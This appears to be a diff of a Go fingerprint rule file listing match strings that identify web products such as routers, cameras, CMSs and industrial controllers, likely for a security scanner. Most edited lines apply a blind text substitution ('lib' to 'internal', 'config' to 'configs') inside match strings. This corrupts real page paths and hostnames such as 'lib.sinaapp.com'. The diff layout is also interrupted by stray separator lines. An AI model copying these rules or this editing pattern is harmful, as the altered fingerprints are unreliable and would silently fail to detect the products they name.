{1, "AdiMoney", "body", "", InStr{"(<img src=\"/img/logo.png\" alt=\"adimoney\"/>|content=\"adimoney.com mobile advertisement network. )", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -249,6 +253,7 @@ var RuleData = []RuleLab{
|
||||
{1, "APC-UPS-Management-Card", "body", "", InStr{"(class=\"apclogo\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "APC-UPS-Management-Card", "header", "", InStr{"", "(apc management card|network management card)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "APD-Cameras-and-Surveillance", "body", "", InStr{"(var listenport = 6002;|lg_body_iptpsw)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{3, "APISIX", "body|header", "", InStr{"(Apache APISIX Dashboard)", "(Server: APISIX)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "apereo-CAS", "body", "", InStr{"(cas – central authentication service)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "apex-LiveBPM", "body", "", InStr{"(href=\"/plug-in/login/fixed/css/login.css\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "apilayer-Caddy", "header", "", InStr{"", "(server: caddy)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -402,7 +407,7 @@ var RuleData = []RuleLab{
|
||||
{1, "AVTech-Cameras-and-Surveillance", "header", "", InStr{"", "(nserver: avtech/)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "AWS-EC2", "body|header", "", InStr{"(welcome to nginx on amazon ec2!)", "(ec2-instance-id)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "AWS-Elastic-Beanstalk", "body", "", InStr{"(<h2>what's next?</h2>|aws.amazon.com/elasticbeanstalk)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "AWStats", "body", "", InStr{"(generator\" content=\"awstats|<frame name=\"mainleft\" src=\"awstats.pl?config=|<a href=\"http://www.awstats.org\" target=\"awstatshome\">created by awstats )", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "AWStats", "body", "", InStr{"(generator\" content=\"awstats|<frame name=\"mainleft\" src=\"awstats.pl?configs=|<a href=\"http://www.awstats.org\" target=\"awstatshome\">created by awstats )", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Axel-Device", "header", "", InStr{"", "(server: axel admin server)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Axentra-HipServ", "body", "", InStr{"(content=\"axentra)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Axentra-HipServ", "header", "", InStr{"", "(x-axentra-version)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -467,7 +472,7 @@ var RuleData = []RuleLab{
|
||||
{1, "Bicesoft-Super-Custom-Survey-Voting-System", "body", "", InStr{"(href=\"images/bicesoft.css\"|佰思超强自定义问卷调查系统(bicesoft.com))", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "biept-System", "body", "", InStr{"(class=\"loginin loginin1\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "BigDump", "body", "", InStr{"(bigdump: staggered mysql dump importer)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "BiHaiYunHe-Router", "body", "", InStr{"(src=\"lib/ext-lang-zh_cn.js\"|<h4>欢迎登录碧海云盒</h4>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "BiHaiYunHe-Router", "body", "", InStr{"(src=\"internal/ext-lang-zh_cn.js\"|<h4>欢迎登录碧海云盒</h4>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "BillingTestTool", "body", "", InStr{"(href:'/billtool/querysum')", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Billion-Router", "header", "", InStr{"", "(billion sky|basic realm=\"webadmin)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "BinarySec-Cloud-Defense", "header", "", InStr{"", "(x-binarysec|x-binarysec-nocache)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -752,7 +757,7 @@ var RuleData = []RuleLab{
|
||||
{1, "Cisco-MWEB", "header", "", InStr{"", "(cisco-mweb)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Cisco-NAM", "body", "", InStr{"(nam traffic analyzer</span>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "CISCO-Nexus-Data-Broker", "body", "", InStr{"(j_security_check|window.location.href = '/monitor';)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Cisco-Prime-Infrastructure", "body", "", InStr{"(<div class=\"xwtproductname\" >cisco prime infrastructure|/webacs/lib/xwt/themes/prime/prime-xwt.css|webacs/welcomeaction.do)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Cisco-Prime-Infrastructure", "body", "", InStr{"(<div class=\"xwtproductname\" >cisco prime infrastructure|/webacs/internal/xwt/themes/prime/prime-xwt.css|webacs/welcomeaction.do)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Cisco-Prime-Infrastructure", "header", "", InStr{"", "(server: prime)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "CISCO-Prime-Network-Registrar", "body", "", InStr{"(productname=\"network registrar)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Cisco-Rimes", "header", "", InStr{"", "(rimes-cisco)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -871,7 +876,7 @@ var RuleData = []RuleLab{
|
||||
{1, "Confluence", "body|header|ico", "or", InStr{"(name=\"confluence-base-url\"|id=\"com-atlassian-confluence)", "(x-confluence-|tp-link router upnp)", "(966e60f8eb85b7ea43a7b0095f3e2336)"}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "ConfTool", "body", "", InStr{"(<h2 align=center>conftool conference administration|<a href='http://www.conftool.net'>conference management software)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "ConKing-SchoolGroup", "body", "", InStr{"(javascripts/float.js|vcxvcxv)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Consul-HashiCorp", "body", "", InStr{"(/ui/assets/consul-ui|consul-ui/config/environment|consulhost|consul instance|www.consul.io)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Consul-HashiCorp", "body", "", InStr{"(/ui/assets/consul-ui|consul-ui/configs/environment|consulhost|consul instance|www.consul.io)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "ContentXXL", "body", "", InStr{"(content=\"contentxxl)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "ContrexxCMS", "body", "", InStr{"(powered by contrexx|content=\"contrexx)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Convision-Video", "header", "", InStr{"", "(convision video webserver)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -1652,7 +1657,7 @@ var RuleData = []RuleLab{
|
||||
{1, "Grizzly NIO", "body", "", InStr{"(<div class=\"footer\">Grizzly(.*)</div>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Group-Office", "body", "", InStr{"(powered by group-office|\"theme\":\"group-office\",)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Group-Office", "header", "", InStr{"", "(groupoffice=)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "GROWFORCE-Email", "body", "", InStr{"(href=\"http://webmail.zmail300.cn|href=\"/page/help/mailconfig/config/index.html)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "GROWFORCE-Email", "body", "", InStr{"(href=\"http://webmail.zmail300.cn|href=\"/page/help/mailconfig/configs/index.html)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "gSOAP", "header", "", InStr{"", "(server: gsoap)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "gsoap", "ico", "", InStr{"", "", "(63d5627fc659adfdd5b902ecafe9100f)"}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "guahao-AppointmentRegistrationSystem", "body", "", InStr{"(var title = \"预约挂号系统\";)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -1862,7 +1867,7 @@ var RuleData = []RuleLab{
|
||||
{1, "horde", "ico", "", InStr{"", "", "(5e99522b02f6ecadbb3665202357d775|7cc1a052c86cc3d487957f7092a6d8c3)"}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Horde IMP)", "ico", "", InStr{"", "", "(f567fd4927f9693a7a2d6cacf21b51b6)"}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "horde-sam", "ico", "", InStr{"", "", "(ee3d6a9227e27a5bc72db3184dab8303|3995c585b76bd5aa67cb6385431d378a)"}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Hortonworks-SmartSense-Tool", "body", "", InStr{"(name=\"hstapp/config/environment\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Hortonworks-SmartSense-Tool", "body", "", InStr{"(name=\"hstapp/configs/environment\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Hospital-material-supplier-B2B-platform", "body", "", InStr{"(医院物资供应商b2b平台)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "HostBill", "body", "", InStr{"(powered by <a href=\"http://hostbillapp.com|<strong>hostbill)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Hosteur web hosting", "ico", "", InStr{"", "", "(376CBEF2F074485F525BBF45DBFC2CBA)"}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -1952,7 +1957,7 @@ var RuleData = []RuleLab{
|
||||
{1, "HUAWEI-S7700", "header", "", InStr{"", "(s7700)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "HuaWei-Secoway-Firewall", "header", "", InStr{"", "(secoway)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "HUAWEI-Secoway-USG2230", "header", "", InStr{"", "(secoway usg2230)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "HuaWei-Security-Device", "body", "", InStr{"(sweb-lib/resource/|sweb-lib/plat/login/login_new.js)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "HuaWei-Security-Device", "body", "", InStr{"(sweb-internal/resource/|sweb-internal/plat/login/login_new.js)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "HuaWei-Server", "body", "", InStr{"(src=\"custom/logo.gif\"|control/images/about.gif)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "HuaWei-SmartAX", "header", "", InStr{"", "(basic realm=\"huawei smartax\"|smartax)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "HuaWei-SRG1220", "header", "", InStr{"", "(huawei srg1220)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -1995,7 +2000,7 @@ var RuleData = []RuleLab{
|
||||
{1, "hws-Host", "body", "", InStr{"(content=\"护卫神·主机大师 前台管理登录\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Hybrid-Cluster", "header", "", InStr{"", "(server: hybrid cluster)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "hycas-System", "body", "", InStr{"(src=\"/images/hyscm.jpg)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "hzhz-VIS", "body", "", InStr{"(src=\"lib/ext/ext-lang-zh_cn.js\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "hzhz-VIS", "body", "", InStr{"(src=\"internal/ext/ext-lang-zh_cn.js\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "i3micro", "header", "", InStr{"", "(realm=\"i3micro)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "i3micro VRG", "ico", "", InStr{"", "", "(e4a509e78afca846cd0e6c0672797de5)"}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Iactive-Cloud-video-platform", "body", "", InStr{"(/js/roomheight.js|meetingshow!show.action)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -2194,7 +2199,7 @@ var RuleData = []RuleLab{
|
||||
{1, "Isunor-Order-Management-System", "body", "", InStr{"(var c_name = 'jsessionid';)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Is'vision-Portrait-comparison-system", "body", "", InStr{"(上海银晨|人像比对系统)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "itenable", "body", "", InStr{"(/enableq.css|js/checkquestion.js.php|/images/enableq.ico)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "iTEST3.0", "body", "", InStr{"(src=\"/itest/static/its/lib/)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "iTEST3.0", "body", "", InStr{"(src=\"/itest/static/its/internal/)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "iTop", "body", "", InStr{"(href=\"http://www.combodo.com/itop)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "iWebShop", "body", "", InStr{"(_skinpath|_themepath|_weburl|class=\"pro_title\">iwebshop支付测试)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "iWebSNS", "body", "", InStr{"(/jooyea/images/sns_idea1.jpg|/jooyea/images/snslogo.gif)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -2232,7 +2237,7 @@ var RuleData = []RuleLab{
|
||||
{1, "Jive-SBS", "body|header", "or", InStr{"(/jive-icons.css|class=\"jive-body-formpage|jive.rte.defaultstyles)", "(x-jsl: )", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "JLOA", "body", "", InStr{"(selectcss|toptitleimg|logintable)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "JNSEC-USG", "body", "", InStr{"(content=\"jnsec web ui\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "jnsh-System", "body", "", InStr{"(src=\"../../doc/config/shxmjgptapp.png\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "jnsh-System", "body", "", InStr{"(src=\"../../doc/configs/shxmjgptapp.png\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Join-Cheer-General-financial-system", "body", "", InStr{"(北京久其软件股份有限公司 版权所有|/netrep/intf|/netrep/message2/|<meta http-equiv=\"refresh\" content=\"0\";url=\"../netrep\">)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "joinf-ERP", "body", "", InStr{"(<h1>富通天下erp</h1>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Joomla", "body|ico", "or", InStr{"(content=\"joomla|/media/system/js/core.js|/media/system/js/mootools-core.js)", "", "(63b982eddd64d44233baa25066db6bc1)"}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -2490,7 +2495,7 @@ var RuleData = []RuleLab{
|
||||
{1, "Lotus Domino Server", "ico", "", InStr{"", "", "(639b61409215d770a99667b446c80ea1)"}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Lotus-Notes-Traveler", "header", "", InStr{"", "(realm=\"lotus notes traveler)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "LotWan-Web-accelerator", "body", "", InStr{"(北京华夏创新科技有限公司)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "loyaa-Information-Automatic-Editing-system", "body", "", InStr{"(/loyaa/common.lib.js)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "loyaa-Information-Automatic-Editing-system", "body", "", InStr{"(/loyaa/common.internal.js)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "LOYTEC-LINX", "body", "", InStr{"(device_info/device_info)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "LPSE", "body", "", InStr{"(href=\"/eproc/assets/application.css)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "LPSE", "header", "", InStr{"", "(/eproc/app)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -3109,7 +3114,7 @@ var RuleData = []RuleLab{
|
||||
{1, "phpATM", "body", "", InStr{"(src=\"viewer_bottom.php?file=|powered by phpatm|powered by php advanced transfer manager)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "phpBB", "header", "", InStr{"", "(set-cookie: phpbb3_|httponly, phpbb3_)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "PHP-CGI", "header", "", InStr{"", "(php-cgi)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "PhpCMS", "body", "", InStr{"(http://www.phpcms.cn|content=\"phpcms|powered by phpcms|data/config.js)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "PhpCMS", "body", "", InStr{"(http://www.phpcms.cn|content=\"phpcms|powered by phpcms|data/configs.js)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "phpCollab", "body", "", InStr{"(<!-- powered by phpcollab|content='phpcollab)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "PHP-CSL", "body", "", InStr{"(content=\"php code snippet|title=\"php-csl\">php-csl)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "phpDealerLocator", "body", "", InStr{"(class=\"pythonselect|for=\"dealer_radiuss_dealer_zip)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -3302,7 +3307,7 @@ var RuleData = []RuleLab{
|
||||
{1, "ralph", "body", "", InStr{"(ralph <strong>3</strong>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "ramaze-ruby", "ico", "", InStr{"", "", "(6be5ebd07e37d0b415ec83396a077312|12225e325909cee70c31f5a7ab2ee194)"}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "ramptel-SansCord-Router", "body", "", InStr{"(name=username value=\"ywrtaw4=\"|href=\"http://www.ramptel.com/\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Rancher", "body|header", "or", InStr{"(Welcome to Rancher|<meta name=\"ui/config/asset-manifest\" content=\"(.*))", "(Set-Cookie: PL=rancher(.*))", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Rancher", "body|header", "or", InStr{"(Welcome to Rancher|<meta name=\"ui/configs/asset-manifest\" content=\"(.*))", "(Set-Cookie: PL=rancher(.*))", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{3, "Ranzhi-OA", "body", "", InStr{"(/sys/index.php?m=user&f=login&referer=)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Rapid7 (NeXpose)", "ico", "", InStr{"", "", "(e19ffb2bc890f5bdca20f10bfddb288d)"}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "RAPID-Browser", "body", "", InStr{"(<!-- ### bullet table ### -->|images/login_button.gif\" alt=\"login to rapid browser)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -3405,7 +3410,7 @@ var RuleData = []RuleLab{
|
||||
{1, "RV042-VPN-Router", "header", "", InStr{"", "(realm=\"rv042|realm=\"klo-rv042)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "RV082-VPN-Router", "header", "", InStr{"", "(realm=\"rv082)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Safe3WAF", "header", "", InStr{"", "(safe3waf|safe3 web firewall)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Safedog", "header", "", InStr{"", "(waf/2.0|set-cookie: safedog|safedog-flow-item=)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Safedog", "header|body", "or", InStr{"(<a href=\"http://security.safedog.cn/index.html\"><input type=\"button\" name=\"feedback\")", "(waf/2.0|set-cookie: safedog|safedog-flow-item=)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "SAFETY-LOGBASE", "body", "", InStr{"(onclick=\"location.href='trustcert.cgi')", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Sagemcom-Router", "header", "", InStr{"", "(realm=\"sagem)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Sagemcom-TR-069", "header", "", InStr{"", "(realm=\"sagemcom tr-069\")", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -3469,7 +3474,7 @@ var RuleData = []RuleLab{
|
||||
{1, "Schneider-EV-charging-station", "body", "", InStr{"(cgiserver)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Schneider-PowerLogic-ION", "header", "", InStr{"", "(allegro-software-rompager|6200 ion)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Schneider-PowerLogic-PM800", "header", "", InStr{"", "(powerlogic|pm800)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Schneider-Quantum-140NOE77101", "body", "", InStr{"(indexlanguage|html/config.js)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Schneider-Quantum-140NOE77101", "body", "", InStr{"(indexlanguage|html/configs.js)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Schneider-WEB", "header", "", InStr{"", "(schneider-web)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "SchoolCenter CMS", "ico", "", InStr{"", "", "(61E029C99ABC5CF058ABC77562A69F98)"}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Scientific-research-instrument-network-service-platform", "body", "", InStr{"(content: \"/lfsms/user/login2?go=\" + go)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -3569,10 +3574,10 @@ var RuleData = []RuleLab{
|
||||
{1, "SimpleTech-SimpleShare-NAS", "header", "", InStr{"", "(default user name is admin and password is simple)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "SIMSWeb", "body", "", InStr{"(<form onsubmit=\"sendinfo(); return false;\" name=\"logon|src=\"/simsweb/monitor.js|index.html\"><font color=\"black\" face=\"arial\">loading simsweb, please wait.....</font></a></h2>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Sina-CDN", "header", "", InStr{"", "(x-via-cdn|sina-)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Sina-SAE", "body", "", InStr{"(lib.sinaapp.com)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Sina-SAE", "header", "", InStr{"", "(lib.sinaapp.com)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Sina-SAE", "body", "", InStr{"(internal.sinaapp.com)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Sina-SAE", "header", "", InStr{"", "(internal.sinaapp.com)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Sinosoft-Technology-E-government-System", "body", "", InStr{"(app_themes/1/style.css|window.location = \"homepages/index.aspx|homepages/content_page.aspx)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "SIPGateway", "body", "", InStr{"(<h5><a href=\"config.htm?file=config.htm\">start page</a></h5>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "SIPGateway", "body", "", InStr{"(<h5><a href=\"configs.htm?file=configs.htm\">start page</a></h5>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "SipProxyModuleCtx", "header", "", InStr{"", "(this is from sipproxymodulectx)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Siqura-Cameras-and-Surveillance", "body", "", InStr{"(class=\"small\">powered by siqura|<img src='../common/logo_siqura.jpg')", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Siqura-Cameras-and-Surveillance", "header", "", InStr{"", "(realm=\"siqura)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -3757,7 +3762,7 @@ var RuleData = []RuleLab{
|
||||
{1, "SurDoc", "body", "", InStr{"(<h1>欢迎使用360书生云盘!</h1>|<p>copyright@2016 pan.surdoc.net all rights</p>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Suremail", "body", "", InStr{"(content=\"北京国信安邮科技有限公司|<span> 客服邮箱:support@suremail.cn</span>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Surfilter-NET110", "body", "", InStr{"(net110网络安全审计系统|simplemodal.1.4.1.min.js)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Surfilter-SURFNX-Security-Gateway", "body", "", InStr{"(lib/templates/surfilter/images/logo_big.png|/lib/templates/surfilter/css/)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Surfilter-SURFNX-Security-Gateway", "body", "", InStr{"(internal/templates/surfilter/images/logo_big.png|/internal/templates/surfilter/css/)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Suyaxing-Campus-Management-System", "body", "", InStr{"(/ws2004/public/)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Swagger", "body", "", InStr{"(<div id=\"swagger-ui\"></div>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Swagger", "body", "", InStr{"(swagger-ui.css|swagger-ui.js)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -3974,7 +3979,6 @@ var RuleData = []RuleLab{
|
||||
{1, "TP_LINK-TL-WA801ND", "header", "", InStr{"", "(tp-link wireless wa801nd|realm=\"tp-link wireless n access point wa801nd)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "TP_LINK-TL-WDR7500", "header", "", InStr{"", "(realm=\"tp-link wireless wdr7500|realm=\"tp-link wireless dual band gigabit router wdr7500)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "TP_LINK-TL-WDR7661", "body", "", InStr{"(<title>TL-WDR7661(.*)</title>|var proName=\"TL-WDR7661)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
|
||||
{1, "TP-LINK-Wireless-N-Router-WR941N", "header", "", InStr{"", "(realm=\"tp-link wireless n router wr941n|tp-link wireless wr941n)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "TP-LINK-Wireless-Router", "body", "", InStr{"(javascript:gourl('http://www.tp-link.com.cn');)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "TP-LINK-Wireless-Router", "header", "", InStr{"", "(tp-link|wireless)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -4220,7 +4224,7 @@ var RuleData = []RuleLab{
|
||||
{1, "VOS-VOS2009", "body", "", InStr{"(content=\"vos2009, voip, voip运营支撑系统, 软交换\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "VoteManager", "body", "", InStr{"(content=\"微平台投票系统|content=\"微平台投票管理系统|<a href=\"http://www.cdrbp.cn\">微信数字投票)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "VP-ASP", "body", "", InStr{"(<a href=\"http://www.vpasp.com\">|src=\"vs350.js|shopdisplayproducts.asp?id=)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "vpn358System", "body", "", InStr{"(class=\"form-actions j_add_ip_actions\"|href=\"/lib/bootstrap/ico/favicon.ico\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "vpn358System", "body", "", InStr{"(class=\"form-actions j_add_ip_actions\"|href=\"/internal/bootstrap/ico/favicon.ico\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "VPON", "body", "", InStr{"(/ctrl_ver.js)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "VRV-Desktop-Application-System", "body", "", InStr{"(<span id=\"lblvalidcompany\" class=\"validcompany\">vrv|var vver = $('#hidverify').val();)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "VRV-IM", "body", "", InStr{"(<h3>连豆豆pc客户端 </h3>|href=\"http://im.vrv.cn/server-securitycenter/password/goretrieval.vrv|class=\"loginusername\" value=\"\" placeholder=\"连豆豆账号/邮箱/手机号|class=\"wj-text wj-title\">下载信源豆豆</p>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -4261,7 +4265,7 @@ var RuleData = []RuleLab{
|
||||
{3, "Weaver-e-Bridge", "body", "", InStr{"(content=\"泛微云桥e-bridge\")", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{3, "Weaver-EMobile", "body", "", InStr{"(content=\"weaver e-mobile\"|e-mobile |action=\"/verifylogin.do|/images/login_logo@2x.png|window.apiprifix = \"/emp\";)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{3, "Weaver-OA", "body|header", "", InStr{"(/wui/common/css/w7ovfont.css|typeof poppedwindow|client/jquery.client_wev8.js|/theme/ecology8/jquery/js/zdialog_wev8.js|ecology8/lang/weaver_lang_7_wev8.js)", "(testbancookie)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "web2Project", "body|header", "", InStr{"(</head><body>fatal error. you haven't created a config file yet.<br/><a href=)", "(set-cookie web2project)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "web2Project", "body|header", "", InStr{"(</head><body>fatal error. you haven't created a configs file yet.<br/><a href=)", "(set-cookie web2project)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Web2py", "body|header", "", InStr{"(<div id=\"serendipityleftsidebar\">)", "(x-powered-by web2py)", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "Webalizer-Log", "body", "", InStr{"(<a href=\"http://www.webalizer.org|<!-- generated by the webalizer ver|<!-- webalizer version)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
{1, "WebAsyst-Shop-Script", "body", "", InStr{"(<a href=\"http://www.shop-script.com|powered by webasyst shop-script <a href=\"http://www.shop-script.com/\" style=\"font-weight: normal\">shopping cart software</a>)", "", ""}, ReqHttp{"", "", nil, ""}},
|
||||
@@ -4546,7 +4550,7 @@ var RuleData = []RuleLab{
